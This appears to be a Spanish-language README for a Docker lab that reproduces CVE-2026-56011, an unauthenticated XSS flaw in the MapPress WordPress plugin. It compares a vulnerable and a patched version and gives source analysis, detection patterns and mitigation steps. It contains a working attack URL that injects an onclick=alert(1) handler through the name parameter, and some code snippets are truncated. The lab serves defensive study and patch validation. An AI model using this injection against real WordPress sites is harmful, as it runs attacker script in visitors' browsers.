rootdirective-sec/cve-2026-56011-lab
Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-56011, una vulnerabilidad de Cross-Site Scripting no autenticado que afecta a MapPress Maps para WordPress.
MapPress Maps para WordPress es un plugin de WordPress que se utiliza para renderizar mapas dentro de páginas y entradas de WordPress. El comportamiento vulnerable afecta a la ruta de renderización de mapas iframe, que es accesible a través del parámetro de solicitud mappress=embed.
Este laboratorio compara dos versiones de MapPress:
| Servicio | Versión de MapPress | Propósito | URL |
|---|---|---|---|
| vuln | 2.97.3 | Objetivo de comparación vulnerable | http://localhost:8081 |
| patched | 2.97.4 | Objetivo de comparación parcheado | http://localhost:8082 |
La ruta de validación demostrada en este laboratorio local es:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
El objetivo vulnerable utiliza esta URL de navegación manual:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado vulnerable esperado:```text Click on the rendered MapPress component → alert(1) pops up
El objetivo parcheado usa el mismo payload contra MapPress 2.97.4:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado esperado tras el parche:```text Click on the rendered MapPress component → no alert appears
Este laboratorio utiliza intencionalmente solo validación manual mediante navegador. No incluye un script PoC, automatización de navegador, robo de credenciales, callbacks externos, malware, persistencia, actividad post-explotación ni ataques contra sistemas externos.
## Hechos Verificados
| Afirmación | Evidencia | Cómo verificarlo en este laboratorio |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 afecta a MapPress Maps para WordPress. | Los avisos públicos de vulnerabilidad identifican el plugin de WordPress afectado como MapPress Maps para WordPress. | Revise la sección Referencias e inspeccione el plugin instalado en ambos objetivos Docker. |
| La versión vulnerable de comparación en este laboratorio es MapPress 2.97.3. | El servicio `vuln` compila el plugin utilizando `MAPPRESS_VERSION: 2.97.3`. | Inspeccione `docker-compose.yml` y `vuln/Dockerfile`. |
| La versión parcheada de comparación en este laboratorio es MapPress 2.97.4. | El servicio `patched` compila el plugin utilizando `MAPPRESS_VERSION: 2.97.4`. | Inspeccione `docker-compose.yml` y `patched/Dockerfile`. |
| MapPress 2.97.4 introdujo la corrección relevante de escape en el iframe. | El changelog oficial del plugin para 2.97.4 dice `Added: escape in iframe`. | Revise el changelog oficial del plugin de WordPress y compare el código fuente vulnerable y el parcheado. |
| El código fuente vulnerable renderiza el nombre del mapa en el componente web `id` sin comillas. | En 2.97.3, `mappress_map.php` renderiza `<mappress-map id={$name} ...>`. | Compare el código fuente de 2.97.3 con el de 2.97.4. |
| El código fuente parcheado entrecomilla y escapa el valor de `id`. | En 2.97.4, `mappress_map.php` renderiza `id="` con `esc_attr($name)`. | Compare el diff del parche entre 2.97.3 y 2.97.4. |
| La ruta del iframe es accesible sin autenticación. | MapPress registra `template_redirect` cuando `$_GET['mappress']` está presente. | Solicite `/?mappress=embed...` desde un navegador sin iniciar sesión. |
| La ruta del iframe lee los atributos del mapa desde la solicitud. | `template_redirect()` asigna `$_GET` a los argumentos del mapa y llama al renderizador del iframe. | Inspeccione `mappress.php` y reproduzca la URL manual. |
| El objetivo vulnerable permite la inyección de atributos a través de `name`. | El valor del nombre manipulado puede salir del atributo `id` sin comillas y convertirse en `onclick=alert(1)`. | Abra la URL manual vulnerable y haga clic en el componente MapPress renderizado. |
| El objetivo parcheado bloquea el comportamiento de inyección de atributos probado. | La salida parcheada mantiene el payload completo dentro del atributo `id` entrecomillado. | Abra la URL manual parcheada y haga clic en el componente MapPress renderizado. |
## Supuestos e Incógnitas
Este laboratorio utiliza MapPress 2.97.3 como objetivo vulnerable de comparación porque los avisos públicos identifican las versiones hasta la 2.97.3 inclusive como afectadas, y el diff del código fuente muestra el renderizado vulnerable del atributo sin comillas en esa versión.
Este laboratorio utiliza MapPress 2.97.4 como objetivo parcheado de comparación porque los avisos públicos identifican la 2.97.4 como la versión corregida, y el changelog oficial indica que se añadió el escape en la ruta del iframe.
El comportamiento vulnerable probado es la ruta de renderizado del iframe sin autenticación:```text
GET /?mappress=embed&name=<crafted-value>
Este laboratorio se centra en la ejecución manual en el navegador de un payload de alerta inofensivo:```text name=cve56011 onclick=alert(1)
El laboratorio no pretende demostrar una cadena de entrega almacenada. Algunos avisos públicos clasifican la vulnerabilidad como XSS almacenado. Este repositorio se centra en el sumidero de renderizado de iframe confirmado por el código fuente y en el comportamiento vulnerable frente al parcheado, que puede reproducirse localmente a través de la ruta no autenticada `mappress=embed`.
El laboratorio no demuestra:
* persistencia de payload almacenado,
* compromiso de cuentas de WordPress,
* robo de sesiones de administrador,
* robo de nonces,
* callbacks externos,
* recolección de XSS ciego,
* robo de credenciales,
* volcado de bases de datos,
* malware,
* persistencia,
* ni ataques contra sistemas ajenos al laboratorio.
La validación manual en el navegador demuestra la diferencia de renderizado relevante para la seguridad:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
La causa raíz de CVE-2026-56011 es una codificación de salida incorrecta para el valor name del mapa cuando MapPress renderiza un componente web dentro de la ruta de salida del mapa iframe.
La ruta de código vulnerable acepta atributos de renderizado del mapa desde la solicitud y finalmente renderiza un elemento HTML personalizado:```html <mappress-map ...>
En MapPress 2.97.3, el nombre del mapa se inserta directamente en el atributo `id` sin comillas y sin escape de contexto de atributo:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Esto es inseguro porque el valor se usa en un contexto de atributo HTML. Si el atacante controla name, un valor que contenga un espacio puede terminar el valor id previsto e introducir un nuevo atributo.
El comportamiento vulnerable se puede resumir como:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
El punto importante es que la sanitización general de texto no es lo mismo que un escape de salida correcto.
El código vulnerable utiliza `sanitize_text_field()` en el nombre del mapa, pero eso no hace que el valor sea seguro para un atributo HTML sin comillas. Los espacios siguen siendo significativos en los atributos HTML porque separan un atributo del siguiente.
El problema de seguridad es, por tanto:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
La versión corregida cambia el renderizado para citar y escapar el valor de id:```php
return "
El comportamiento corregido se puede resumir como:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
La lección de seguridad es:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Análisis del código fuente
El problema a nivel del código fuente fue confirmado comparando MapPress 2.97.3 y MapPress 2.97.4.
El sumidero de renderizado principal está en:```text
mappress_map.php
La versión vulnerable renderiza el valor de name como un atributo id sin comillas:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
La versión parcheada pone entre comillas el atributo y escapa el valor:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
La ruta iframe se registra cuando la solicitud contiene el parámetro de consulta mappress:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
El manejador de solicitudes de iframe mapea los parámetros de consulta en argumentos de mapa:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
El handler luego crea o carga un objeto de mapa y lo actualiza con los argumentos de la solicitud:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
El helper iframe renderiza el contenido del mapa:```php
$content = $map->display(null, true);
La ruta display() conserva un valor name no vacío proporcionado:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
Esto significa que el valor `name` proporcionado en la solicitud puede llegar al sumidero de renderizado vulnerable.
El flujo relevante para la seguridad es:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
El resto de los atributos del mapa generado se procesan a través de un helper que pone entre comillas los atributos. El renderizado vulnerable de id es especial porque name se extrae y se renderiza por separado.
Esto hace que la superficie vulnerable sea estrecha y fácil de validar:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## Resumen del parche de la fuente
MapPress 2.97.4 corrige el comportamiento vulnerable de renderizado de iframes al citar y escapar el valor del atributo `id` para el elemento `<mappress-map>` generado.
El patrón de salida vulnerable es:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
En esta salida, el navegador analiza:```text id = cve56011 onclick = alert(1)
El patrón de salida parcheado es:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
En esta salida, el navegador analiza:```text id = cve56011 onclick=alert(1)
No se crea ningún atributo `onclick` independiente.
El parche relevante para la seguridad es:```text
Before:
id={$name}
After:
id="<escaped name>"
La corrección a nivel de código fuente es pequeña, pero el impacto en la seguridad es significativo porque la ruta afectada es accesible sin autenticación a través del endpoint de incrustación de iframe.
Este laboratorio mantiene separadas la revisión del código fuente y la validación en tiempo de ejecución:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Arquitectura del laboratorio
El laboratorio ejecuta dos objetivos de WordPress aislados mediante Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
No existe intencionalmente un directorio poc/. La validación es manual y basada en navegador.
Los dos servicios de WordPress usan bases de datos separadas y volúmenes de WordPress separados:
Servicios expuestos por defecto:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
El laboratorio usa versiones fijadas del plugin MapPress:
| Target | MapPress version | Expected behavior |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | al hacer clic en el componente manipulado se activa alert(1) |
| http://localhost:8082 | 2.97.4 | al hacer clic en el componente manipulado no se activa alert(1) |
La compilación de Docker descarga el ZIP exacto del plugin para cada objetivo desde el endpoint oficial de descarga de plugins de WordPress:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
The WP-CLI services run automatically during lab startup. They install WordPress and activate MapPress in each target.
The lab does not create or modify the vulnerable MapPress route. The route is provided by the real MapPress plugin version installed in each target.
No Python dependency is required.
No PoC script is required.
No WordPress login is required for the manual XSS validation.
Start the lab from a clean state:
Los servicios WP-CLI se ejecutan automáticamente durante el inicio del laboratorio. Instalan WordPress y activan MapPress en cada objetivo.
El laboratorio no crea ni modifica la ruta vulnerable de MapPress. La ruta la proporciona la versión real del plugin MapPress instalada en cada objetivo.
No se requiere dependencia de Python.
No se requiere script de PoC.
No se requiere inicio de sesión en WordPress para la validación manual de XSS.
Inicie el laboratorio desde un estado limpio:```bash docker compose down -v --remove-orphans docker compose up -d --build
Comprueba el estado del servicio:```bash
docker compose ps
Servicios en ejecución esperados:```text db-vuln db-patched vuln patched
Objetivos expuestos esperados:```text
http://localhost:8081
http://localhost:8082
Comprueba que la instalación de WordPress y la activación del plugin se completaron:```bash docker compose logs wpcli-vuln wpcli-patched
Mensajes de configuración esperados:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
Una vez completada la configuración, la página de inicio de sesión de WordPress debería devolver HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
Si la página raíz redirige temporalmente a `/wp-admin/install.php`, la configuración de WP-CLI puede estar aún finalizando. Espera hasta que los registros de `wpcli-vuln` y `wpcli-patched` muestren los mensajes de configuración completada y, a continuación, reinténtalo.
## Validación Manual de XSS con Alert
Este laboratorio utiliza únicamente validación manual mediante el navegador.
No se incluye ningún script de PoC.
No se requiere inicio de sesión.
### Objetivo Vulnerable
Abre esta URL en un navegador:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Haga clic en el componente MapPress renderizado.
Resultado vulnerable esperado:```text alert(1) pops up
Significado de seguridad:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
El comportamiento vulnerable interpretado por el navegador es equivalente a:```html <mappress-map id=cve56011 onclick=alert(1) ...>
El navegador trata esto como:```text
id = cve56011
onclick = alert(1)
Cuando se hace clic en el componente, se ejecuta el manejador de eventos.
Abre esta URL en un navegador:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Haz clic en el componente MapPress renderizado.
Resultado parcheado esperado:```text
No alert appears.
Significado de seguridad:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
El comportamiento interpretado por el navegador parcheado es equivalente a:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
El navegador trata esto como:```text id = cve56011 onclick=alert(1)
No se crea ningún atributo `onclick` ejecutable.
## Resultados esperados
### Objetivo vulnerable
URL manual del navegador:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado esperado después de hacer clic en el componente renderizado:```text alert(1) pops up
Clasificación esperada:```text
VULNERABLE_BEHAVIOR_OBSERVED
La señal vulnerable importante es:```text MapPress 2.97.3
### Objetivo parcheado
URL del navegador manual:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado esperado al hacer clic en el componente renderizado:```text No alert appears.
Clasificación esperada:```text
BLOCKED_BEHAVIOR_OBSERVED
La señal parcheada importante es:```text MapPress 2.97.4
## Cómo funciona la validación
La validación manual envía una solicitud del navegador a la ruta de renderizado del iframe de MapPress:```text
/?mappress=embed
La solicitud incluye un valor name manipulado:```text
cve56011 onclick=alert(1)
La solicitud vulnerable completa es:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
La solicitud parcheada completa es:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
En MapPress 2.97.3, el valor `name` se inserta en un atributo `id` sin comillas:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Porque el atributo no está entre comillas, el espacio después de cve56011 inicia un nuevo atributo.
El navegador interpreta la salida como:```text id="cve56011" onclick="alert(1)"
Cuando se hace clic en el componente renderizado, el controlador de eventos inyectado se ejecuta.
En MapPress 2.97.4, el mismo valor se escapa y se entrecomilla:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
El navegador interpreta el payload completo como un único valor id.
No se crea ningún controlador de eventos.
La validación es intencionalmente manual porque el objetivo es mostrar el comportamiento XSS visible en el navegador directamente:```text vulnerable target → click → alert(1)
patched target → click → no alert
## Reproducción manual en el navegador
Inicie el laboratorio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Espera a que se complete la configuración:```bash docker compose logs wpcli-vuln wpcli-patched
Finalización esperada de la configuración:```text
vuln setup complete
patched setup complete
Abre el objetivo vulnerable:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Haz clic en el componente MapPress renderizado.
Resultado esperado:```text
alert(1)
Abra el objetivo parcheado:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Haz clic en el componente MapPress renderizado.
Resultado esperado:```text
No alert
Evidencia de captura de pantalla recomendada para una redacción de portafolio:```text
## Impacto
CVE-2026-56011 es sensible desde el punto de vista de la seguridad porque un atacante no autenticado puede crear una URL de iframe de MapPress que inyecta JavaScript en el componente de mapa renderizado.
El impacto potencial en el mundo real depende de cómo se entregue la URL maliciosa y qué usuario la abre.
El impacto posible puede incluir:
* ejecución de JavaScript controlado por el atacante en el navegador de la víctima,
* phishing o manipulación de la interfaz de usuario dentro del origen de WordPress afectado,
* acceso a datos no HttpOnly del mismo origen,
* acciones realizadas como la víctima si condiciones adicionales de la aplicación lo permiten,
* robo de tokens CSRF o datos de páginas no protegidas,
* y abuso del contexto de sitio WordPress de confianza.
Este laboratorio demuestra solo un payload de alerta local inofensivo:```text
onclick=alert(1)
El laboratorio no demuestra el robo de sesiones, el robo de credenciales, la toma de control de cuentas de administrador, la carga maliciosa de JavaScript externo, la recolección de XSS ciego o ataques contra sitios públicos de WordPress.
El riesgo práctico en producción depende de:
Los indicadores potenciales incluyen solicitudes a la ruta de renderizado del iframe de MapPress:```text GET /?mappress=embed
Los parámetros de consulta sospechosos pueden incluir cadenas relacionadas con JavaScript en el parámetro `name`:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
Idea de detección de alta señal:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
Ejemplo de solicitud sospechosa:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Posibles registros del servidor web o telemetría a revisar:
mappress=embed,name,Acciones de monitoreo recomendadas:
mappress=embed.%20onclick%3D.name.Actualiza MapPress Maps para WordPress a la versión 2.97.4 o posterior.
El parche correspondiente cambia la salida del mapa en el iframe para que el atributo id del componente web generado esté entre comillas y escapado.
Comportamiento relevante para la seguridad:```text Before: id={$name}
After: id=""
Pasos de mitigación recomendados:
* Actualice MapPress Maps para WordPress a la versión 2.97.4 o posterior.
* Prefiera la última versión disponible del plugin en lugar de detenerse en la versión de comparación del laboratorio.
* Confirme que la versión del plugin instalada no se encuentre en el rango afectado.
* Limpie las cachés de página y las cachés CDN después de la actualización.
* Revise los registros de acceso en busca de solicitudes sospechosas `mappress=embed`.
* Busque en los registros valores sospechosos del parámetro `name`.
* Considere una regla WAF temporal para solicitudes `mappress=embed` que contengan controladores de eventos.
* Restrinja la exposición innecesaria de la funcionalidad de administración de WordPress.
* Utilice una Política de Seguridad de Contenido restrictiva donde sea compatible.
* Mantenga actualizados el núcleo, los temas y los plugins de WordPress.
Lecciones de ingeniería de seguridad:
* Ponga entre comillas todos los atributos HTML.
* Escape la salida según el contexto exacto de salida.
* Use `esc_attr()` para la salida de atributos HTML de WordPress.
* No confíe en `sanitize_text_field()` como sustituto del escape de salida.
* Añada pruebas de regresión para las rutas de renderizado de iframes y shortcodes.
* Revise el renderizado de componentes web personalizados, ya que las etiquetas personalizadas siguen las reglas normales de análisis HTML.
## Límites de Seguridad
Este laboratorio es solo para investigación de seguridad local y demostración controlada.
No utilice la URL XSS manual contra sistemas que no posea o para los que no tenga autorización explícita de prueba.
No utilice credenciales reales de producción, datos de clientes, datos de pago, claves de API, credenciales de base de datos ni secretos de producción en este laboratorio.
El alcance previsto se limita a servicios locales de Docker como:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
El payload manual es intencionalmente inofensivo:```text onclick=alert(1)
El laboratorio no incluye payloads para:
* robo de cookies,
* robo de credenciales,
* robo de tokens CSRF,
* abuso de acciones de administrador,
* callbacks externos,
* recolección de XSS ciego,
* malware,
* persistencia,
* kits de phishing,
* explotación de navegadores,
* movimiento lateral,
* acceso a datos de clientes,
* o ataques contra sistemas que no pertenecen al laboratorio.
El objetivo es demostrar una condición técnica específica en un entorno controlado:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Detén y elimina contenedores, redes y volúmenes:```bash docker compose down -v --remove-orphans
Elimina las imágenes de laboratorio creadas localmente si lo deseas:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Verifica que no queden contenedores de laboratorio:```bash docker compose ps
## Referencias
* Registro CVE: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* Plugin de WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* Registro de cambios del plugin de WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* Base de datos de vulnerabilidades de WPScan: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* Descarga del plugin de WordPress: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* Descarga del plugin de WordPress: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
| Servicio | Componente | Versión / Rol |
|---|
| db-vuln | MariaDB | base de datos para WordPress vulnerable |
| db-patched | MariaDB | base de datos para WordPress parcheado |
| vuln | WordPress | objetivo vulnerable con MapPress 2.97.3 |
| patched | WordPress | objetivo parcheado con MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | instala WordPress y activa el plugin |
| wpcli-patched | WP-CLI | instala WordPress y activa el plugin |